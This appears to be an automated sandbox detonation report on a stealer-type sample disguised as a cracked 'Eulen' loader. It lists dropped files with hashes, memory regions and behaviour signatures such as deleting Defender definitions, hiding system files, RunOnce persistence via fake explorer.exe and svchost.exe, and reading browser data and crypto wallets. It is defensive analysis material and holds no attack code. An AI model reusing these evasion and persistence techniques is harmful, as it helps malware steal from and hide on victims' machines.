memory/3120-64-0x00007FFB0C250000-0x00007FFB0C27D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI34962\_decimal.pyd

MD5 d0231f126902db68d7f6ca1652b222c0
SHA1 70e79674d0084c106e246474c4fb112e9c5578eb
SHA256 69876f825678b717c51b7e7e480de19499d972cb1e98bbfd307e53ee5bace351
SHA512 b6b6bfd5fde200a9f45aeb7f6f845eac916feeef2e3fca54e4652e1f19d66ae9817f1625ce0ed79d62e504377011ce23fd95a407fbdbaa6911a09e48b5ef4179

C:\Users\Admin\AppData\Local\Temp\_MEI34962\unicodedata.pyd

MD5 af87b4aa3862a59d74ff91be300ee9e3
SHA1 e5bfd29f92c28afa79a02dc97a26ed47e4f199b4
SHA256 fac71c7622957fe0773214c7432364d7fc39c5e12250ff9eaaeea4d897564dc7
SHA512 1fb0b8100dffd18c433c4aa97a4f2da76ff6e62e2ef2139edc4f98603ba0bb1c27b310b187b5070cf4e892ffc2d09661a6914defa4509c99b60bcbb50f70f4a0

C:\Users\Admin\AppData\Local\Temp\_MEI34962\select.pyd

MD5 1e9e36e61651c3ad3e91aba117edc8d1
SHA1 61ab19f15e692704139db2d7fb3ac00c461f9f8b
SHA256 5a91ba7ea3cf48033a85247fc3b1083f497bc060778dcf537ca382a337190093
SHA512 b367e00e1a8a3e7af42d997b59e180dfca7e31622558398c398f594d619b91cedc4879bfdda303d37f31dfcc3447faa88f65fd13bac109889cee8c1e3c1d62d0

memory/3120-74-0x00007FFB0BF70000-0x00007FFB0BF7D000-memory.dmp

memory/3120-72-0x00007FFB0B550000-0x00007FFB0B569000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI34962\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI34962\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI34962\libssl-3.dll

MD5 6eda5a055b164e5e798429dcd94f5b88
SHA1 2c5494379d1efe6b0a101801e09f10a7cb82dbe9
SHA256 377da6175c8a3815d164561350ae1df22e024bc84c55ae5d2583b51dfd0a19a8
SHA512 74283b4051751f9e4fd0f4b92ca4b953226c155fe4730d737d7ce41a563d6f212da770e96506d1713d8327d6fef94bae4528336ebcfb07e779de0e0f0cb31f2e

C:\Users\Admin\AppData\Local\Temp\_MEI34962\libcrypto-3.dll

MD5 27515b5bb912701abb4dfad186b1da1f
SHA1 3fcc7e9c909b8d46a2566fb3b1405a1c1e54d411
SHA256 fe80bd2568f8628032921fe7107bd611257ff64c679c6386ef24ba25271b348a
SHA512 087dfdede2a2e6edb3131f4fde2c4df25161bee9578247ce5ec2bce03e17834898eb8d18d1c694e4a8c5554ad41392d957e750239d3684a51a19993d3f32613c

C:\Users\Admin\AppData\Local\Temp\_MEI34962\blank.aes

MD5 5c53f708c512b8ae0c3af469a2b3236a
SHA1 ca68da974c65b63bca90915ea03c8814e6710842
SHA256 cd8fef9827c590177ce73970e23a1105df9b9d9f2649d176851013780ada14b6
SHA512 57dee66733b402a32323f78b670170294a7d8fe8cabd2d63e9dea16d3a114b65b41b739259f012c4a729fd833ae05bb31ccf07e11cbdea43b561e2c1c178daa4

C:\Users\Admin\AppData\Local\Temp\_MEI34962\_ctypes.pyd

MD5 5006b7ea33fce9f7800fecc4eb837a41
SHA1 f6366ba281b2f46e9e84506029a6bdf7948e60eb
SHA256 8f7a5b0abc319ba9bfd11581f002e533fcbe4ca96cedd37656b579cd3942ef81
SHA512 e3e5e8f471a8ca0d5f0091e00056bd53c27105a946ca936da3f5897b9d802167149710404386c2ed3399b237b8da24b1a24e2561c436ed2e031a8f0564fbbc7c

C:\Users\Admin\AppData\Local\Temp\_MEI34962\base_library.zip

MD5 d220b7e359810266fe6885a169448fa0
SHA1 556728b326318b992b0def059eca239eb14ba198
SHA256 ca40732f885379489d75a2dec8eb68a7cce024f7302dd86d63f075e2745a1e7d
SHA512 8f802c2e717b0cb47c3eeea990ffa0214f17d00c79ce65a0c0824a4f095bde9a3d9d85efb38f8f2535e703476cb6f379195565761a0b1d738d045d7bb2c0b542

memory/3120-79-0x00007FFAFCB10000-0x00007FFAFCBDD000-memory.dmp

memory/3120-81-0x00007FFAFBD80000-0x00007FFAFC2A2000-memory.dmp

memory/3120-82-0x000001E5B29A0000-0x000001E5B2EC2000-memory.dmp

memory/3120-77-0x00007FFB0BA40000-0x00007FFB0BA73000-memory.dmp

memory/3120-86-0x00007FFAFCBE0000-0x00007FFAFD1C9000-memory.dmp

memory/3120-89-0x00007FFAFBAB0000-0x00007FFAFBBCC000-memory.dmp

memory/3120-87-0x00007FFB12300000-0x00007FFB12314000-memory.dmp

memory/3120-88-0x00007FFB0BE10000-0x00007FFB0BE1D000-memory.dmp

memory/1212-137-0x0000014303420000-0x0000014303442000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zhz2rmm2.srr.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

\??\c:\Users\Admin\AppData\Local\Temp\zfq32gyr\zfq32gyr.cmdline

MD5 ec2bd4708cde498deefa47fbcfefa32d
SHA1 bcba0d0e1c12aa3b9bb9bf01b6141a34b5e2cf78
SHA256 3e442dd3a85f94ac17b16b8207e11e7ab122bdf52c1a463447630ea7cca90a95
SHA512 d57e145d322fc75306bb7ce22d5d1eeade755f960ef87b6a686e46121846e22a9c64d1f9ef1e64f0662b4d956ac2e47126dff31858ff551ad9bad933a1a78104

\??\c:\Users\Admin\AppData\Local\Temp\zfq32gyr\zfq32gyr.0.cs

MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

\??\c:\Users\Admin\AppData\Local\Temp\zfq32gyr\CSCF12052DE8D48449DA075163C433D4A7.TMP

MD5 af459abc7ea1c712a056699a7c0125a2
SHA1 6d54d31bf4e56f0cdb60ee9e09d8727a899148b9
SHA256 1957474de8e2f5be577261465039f0c11350ccfa93fdb36f055744ab90c6c5c7
SHA512 47a662603257c2931fff98468ea672eed7dc16097952398c58b4a934dcd394c6f1505117d560a47f68e4b5a86d64199e0d159f7afdc176139cf5d9af229a1f68

C:\Users\Admin\AppData\Local\Temp\RES668A.tmp

MD5 17afc5f942e65acaf879d2b76b97d998
SHA1 89f39e0d8ec90be290ecbfa4044167f51153d562
SHA256 2c411a69603fb8005d3ee9c279d204fb00685376c75c46369ae0767ca8508f68
SHA512 373633e028b7ceda1f52900856c917051a91e80b3d3d23fff4e4e86ddb9d9f0d493185caa615c34eec341a6d1144c68d6e74a6896f82af73233805701a721a97

C:\Users\Admin\AppData\Local\Temp\zfq32gyr\zfq32gyr.dll

MD5 9237d6ba01009fab382d530f89b6c6d4
SHA1 987f58e470dbaba4050ab289b0e67ffce7a9c46a
SHA256 43c96444ad4e4feadc8341f976f5556219693ea8e4fdf781aeceb4f9866a6b70
SHA512 90150326d7d349c638c3a88c4c96abd6584c9cbd6267f82b794107dfbe171169767ca8ac73dd6aaac102c52084f2337177fd2dc4b096e41eb3b9fa29599d1ee9

memory/2272-234-0x000001B1C2FE0000-0x000001B1C2FE8000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 041d24bd7a184ff214ddee4a0bea4256
SHA1 24b370844320ae14250c0a065c02e5a67a7def07
SHA256 36f7839a7926d4d4021d54bb8aebd9f3e4691f3bb7607ab19bb26bd7285cc113
SHA512 fcf48935c730b9124bed843e13b9b8a7b9a4bfc82cc68045eb0cbdfb154a4bea7eb4c3ea91c5438cfba39a381486a3b582e447dfc157bf18caffb9063b82c650

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

C:\Users\Admin\AppData\Local\Temp\ ‍      ‌ \Common Files\Desktop\BlockUse.mp4

MD5 65edb59f0bfaa5bdbbcdebe4b9e0b8b2
SHA1 e557e43dbeff61849fde2863bcee77ff5b1485a4
SHA256 fb3b81d2804b8213f2ed8334225fca934a8c67a0a06063516c99b5f7c8ea1047
SHA512 55a2bc491cecc332390de72ac36d44e5ba9b9db1818c8515df9ad0fc76a1cd19fbadf3eaa074559842b23a7a24f3d710395188d16fac146cd7a6d6e36ca55375

C:\Users\Admin\AppData\Local\Temp\ ‍      ‌ \Common Files\Desktop\MoveInitialize.doc

MD5 f3f26a06d148c3bf4530d3c0b4d52264
SHA1 5e03fa19132ee9f7b31605b666cd23391defbf9d
SHA256 53468e7719d2ed6987d59e5d5fc97c2413e1f99f23ff3902fe59f6bcde88596e
SHA512 e7b4c6fb6b4d8c2d6f6b9cefe07d05a4679e78f26620a946c5970f1625e0e46d45828db1badfe7d1fa642cff4d3f4e254421622290353f521d7d807467ed77c3

C:\Users\Admin\AppData\Local\Temp\ ‍      ‌ \Common Files\Desktop\SyncDeny.png

MD5 fcc0f3069fb7965758464a0da7cd47d7
SHA1 e62bc6d8d0cc01d207097ad3642ef911ad3b4e11
SHA256 4209c0f98c36c1ffa4fdf140bcf9ba92808c58fadb57041ccea3397080a11531
SHA512 117354d7651ffd2986245e41d790426ec27aa516a65f316130896ac06ed655017037f7416512d5277bdd831b8ab5687d0b87d23b2c81240c571afa4a705af323

C:\Users\Admin\AppData\Local\Temp\ ‍      ‌ \Common Files\Desktop\UninstallExit.xlsx

MD5 9b05513342fc5dd08a3e7dfa17faefb4
SHA1 5cf7dc661b5b5cfae20f8975a01c25571f013f27
SHA256 765ba0c86511ec1c3220ebf8d0b3918444c14c26c0794996f1751cf2df684cdb
SHA512 2f649e189507ab5c502912784f7ed0101128746eb4c3d637c406a0ea23d67608bac33d10947457f20013eefb8b765845ec93d635917eea7c79bc67b7dd033840

C:\Users\Admin\AppData\Local\Temp\ ‍      ‌ \Common Files\Documents\Are.docx

MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

C:\Users\Admin\AppData\Local\Temp\ ‍      ‌ \Common Files\Documents\BackupRestart.vdw

MD5 39f0477ab1b2902b0be30e2c53cc1f38
SHA1 9da8025125eb1603671b8a8e34368c4d359d9258
SHA256 98def3abc1c20f02425ef4b700d06e1bf1bbf3c5f868edfa87970e271299ad76
SHA512 a0415e4c02b5748e1805563a2481c741f0b14c83665da799e1a8a9225371efc05d84dad6f7823ed44f81eb7f11ad9edaf453820646f0ecee63d5f6577eca4294

C:\Users\Admin\AppData\Local\Temp\ ‍      ‌ \Common Files\Documents\Files.docx

MD5 4a8fbd593a733fc669169d614021185b
SHA1 166e66575715d4c52bcb471c09bdbc5a9bb2f615
SHA256 714cd32f8edacb3befbfc4b17db5b6eb05c2c8936e3bae14ea25a6050d88ae42
SHA512 6b2ebbbc34cd821fd9b3d7711d9cdadd8736412227e191883e5df19068f8118b7c80248eb61cc0a2f785a4153871a6003d79de934254b2c74c33b284c507a33b

C:\Users\Admin\AppData\Local\Temp\ ‍      ‌ \Common Files\Documents\Opened.docx

MD5 bfbc1a403197ac8cfc95638c2da2cf0e
SHA1 634658f4dd9747e87fa540f5ba47e218acfc8af2
SHA256 272ed278e82c84cf4f80f48ec7989e1fc35f2055d6d05b63c8a31880846597a6
SHA512 b8938526fcbf7152805aec130ca553e3ec949cb825430a5d0a25c90ec5eb0863857010484a4b31fdc4bb65a4c92ad7127c812b93114be4569a677f60debe43b1

C:\Users\Admin\AppData\Local\Temp\ ‍      ‌ \Common Files\Documents\Recently.docx

MD5 3b068f508d40eb8258ff0b0592ca1f9c
SHA1 59ac025c3256e9c6c86165082974fe791ff9833a
SHA256 07db44a8d6c3a512b15f1cb7262a2d7e4b63ced2130bc9228515431699191cc7
SHA512 e29624bc8fecb0e2a9d917642375bd97b42502e5f23812195a61a4920cae5b6ed540e74dfcf8432dcceb7de906ad0501cdd68056f9b0ec86a6bb0c1e336bfe32

C:\Users\Admin\AppData\Local\Temp\ ‍      ‌ \Common Files\Documents\SyncUnlock.txt

MD5 61a6e40f4f053aa19730a41acdf12fa8
SHA1 409a3b091ce8aca2caee6fa55fe35d5f8efd9c38
SHA256 c526aea4c7180fed60d263224f614f11bcbb69f0fa723383950ba30cf817e14e
SHA512 ecc5981e86857be1842d69769d38c110fbb5c7d9a723c53539238ae5e431946e79b347f153b0e2ac1a69235bd7ecb45aa38bcf7100dea62cb7772f97c43b6c93

C:\Users\Admin\AppData\Local\Temp\ ‍      ‌ \Common Files\Documents\These.docx

MD5 87cbab2a743fb7e0625cc332c9aac537
SHA1 50f858caa7f4ac3a93cf141a5d15b4edeb447ee7
SHA256 57e3b0d22fa619da90237d8bcf8f922b142c9f6abf47efc5a1f5b208c4d3f023
SHA512 6b678f0dd0030806effe6825fd52a6a30b951e0c3dcf91dfd7a713d387aa8b39ec24368e9623c463360acba5e929e268f75ce996526c5d4485894b8ac6b2e0fa

memory/3120-273-0x00007FFB0BCD0000-0x00007FFB0BCF3000-memory.dmp

C:\Windows\Resources\Themes\explorer.exe

MD5 b32e88100363fa47c5362ed9721a0aa1
SHA1 c94536f9b4577fea017e803cd28ca89199f578f0
SHA256 0fb91414a59a4a63959626c7847dc403a3844e92098966f0c57cb7a0f1dd6462
SHA512 d8b0ed880a204891371a88a3a51bddda5abcf1daf86a16c91e3943118eed350d489f0929e7c29d53f4cf91496d1e2b40f7977bf2aa54cdc5ea0ce67e6639a2a2

memory/3120-303-0x00007FFAFC870000-0x00007FFAFC9E7000-memory.dmp

memory/3120-302-0x00007FFB0C200000-0x00007FFB0C223000-memory.dmp

memory/3120-320-0x00007FFAFCB10000-0x00007FFAFCBDD000-memory.dmp

memory/3120-325-0x00007FFB0B550000-0x00007FFB0B569000-memory.dmp

memory/3120-321-0x00007FFAFBD80000-0x00007FFAFC2A2000-memory.dmp

memory/3120-319-0x00007FFB0BA40000-0x00007FFB0BA73000-memory.dmp

memory/3120-310-0x00007FFAFCBE0000-0x00007FFAFD1C9000-memory.dmp

memory/2544-326-0x0000000000400000-0x000000000041F000-memory.dmp

memory/2272-335-0x0000000000400000-0x000000000041F000-memory.dmp

memory/2772-340-0x0000000000400000-0x000000000041F000-memory.dmp

memory/2544-341-0x0000000000400000-0x000000000041F000-memory.dmp

memory/3636-342-0x0000000000400000-0x000000000041F000-memory.dmp

memory/116-343-0x0000000000400000-0x000000000041F000-memory.dmp

memory/3028-346-0x00000115A3080000-0x00000115A3081000-memory.dmp

memory/3028-345-0x00000115A3080000-0x00000115A3081000-memory.dmp

memory/3028-344-0x00000115A3080000-0x00000115A3081000-memory.dmp

memory/3028-352-0x00000115A3080000-0x00000115A3081000-memory.dmp

memory/3028-356-0x00000115A3080000-0x00000115A3081000-memory.dmp

memory/3028-355-0x00000115A3080000-0x00000115A3081000-memory.dmp

memory/3028-354-0x00000115A3080000-0x00000115A3081000-memory.dmp

memory/3028-353-0x00000115A3080000-0x00000115A3081000-memory.dmp

memory/3028-351-0x00000115A3080000-0x00000115A3081000-memory.dmp

memory/3028-350-0x00000115A3080000-0x00000115A3081000-memory.dmp

memory/3120-369-0x00007FFB12300000-0x00007FFB12314000-memory.dmp

memory/3120-372-0x00007FFB0BCD0000-0x00007FFB0BCF3000-memory.dmp

memory/3120-381-0x00007FFAFBD80000-0x00007FFAFC2A2000-memory.dmp

memory/3120-380-0x00007FFB0BA40000-0x00007FFB0BA73000-memory.dmp

memory/3120-377-0x00007FFAFC870000-0x00007FFAFC9E7000-memory.dmp

memory/3120-376-0x00007FFB0C200000-0x00007FFB0C223000-memory.dmp

memory/3120-375-0x00007FFB0C230000-0x00007FFB0C249000-memory.dmp

memory/3120-374-0x00007FFB0C250000-0x00007FFB0C27D000-memory.dmp

memory/3120-373-0x00007FFB0C190000-0x00007FFB0C19F000-memory.dmp

memory/3120-371-0x00007FFAFBAB0000-0x00007FFAFBBCC000-memory.dmp

memory/3120-370-0x00007FFB0BE10000-0x00007FFB0BE1D000-memory.dmp

memory/3120-367-0x00007FFAFCB10000-0x00007FFAFCBDD000-memory.dmp

memory/3120-357-0x00007FFAFCBE0000-0x00007FFAFD1C9000-memory.dmp

memory/3120-379-0x00007FFB0BF70000-0x00007FFB0BF7D000-memory.dmp

memory/3120-378-0x00007FFB0B550000-0x00007FFB0B569000-memory.dmp

Analysis: behavioral5

Detonation Overview

Submitted

2024-06-02 01:25

Reported

2024-06-02 01:26

Platform

win10-20240404-en

Command Line

N/A

Signatures

N/A

Processes

N/A

Network

N/A

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-06-02 01:25

Reported

2024-06-02 01:26

Platform

win10v2004-20240508-en

Command Line

N/A

Signatures

N/A

Processes

N/A

Network

N/A

Files

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-02 01:25

Reported

2024-06-02 01:29

Platform

win10-20240404-en

Max time kernel

133s

Max time network

136s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\Eulen 8.27.5 (cracked)\loader_prod.rar"

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\Eulen 8.27.5 (cracked)\loader_prod.rar"

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 18.173.189.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-02 01:25

Reported

2024-06-02 01:29

Platform

win10v2004-20240508-en

Max time kernel

149s

Max time network

154s

Command Line

cmd /c "C:\Users\Admin\AppData\Local\Temp\Eulen 8.27.5 (cracked)\loader_prod.rar"

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\Eulen 8.27.5 (cracked)\loader_prod.rar"

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 91.90.14.23.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 18.173.189.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-02 01:25

Reported

2024-06-02 01:29

Platform

win10-20240404-en

Max time kernel

150s

Max time network

135s

Command Line

"C:\Users\Admin\AppData\Local\Temp\loader_prod.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Modifies visiblity of hidden/system files in Explorer

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" \??\c:\windows\resources\themes\explorer.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0" \??\c:\windows\resources\svchost.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO" \??\c:\windows\resources\themes\explorer.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO" \??\c:\windows\resources\themes\explorer.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO" \??\c:\windows\resources\svchost.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO" \??\c:\windows\resources\svchost.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\explorer.exe \??\c:\windows\resources\themes\explorer.exe N/A
File opened for modification C:\Windows\SysWOW64\explorer.exe \??\c:\windows\resources\svchost.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification \??\c:\windows\resources\themes\explorer.exe C:\Windows\Resources\Themes\icsys.icn.exe N/A
File opened for modification \??\c:\windows\resources\spoolsv.exe \??\c:\windows\resources\themes\explorer.exe N/A
File opened for modification \??\c:\windows\resources\svchost.exe \??\c:\windows\resources\spoolsv.exe N/A
File opened for modification C:\Windows\Resources\tjud.exe \??\c:\windows\resources\themes\explorer.exe N/A
File opened for modification C:\Windows\Resources\Themes\icsys.icn.exe C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A

Enumerates physical storage devices

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\loader_prod.exe N/A
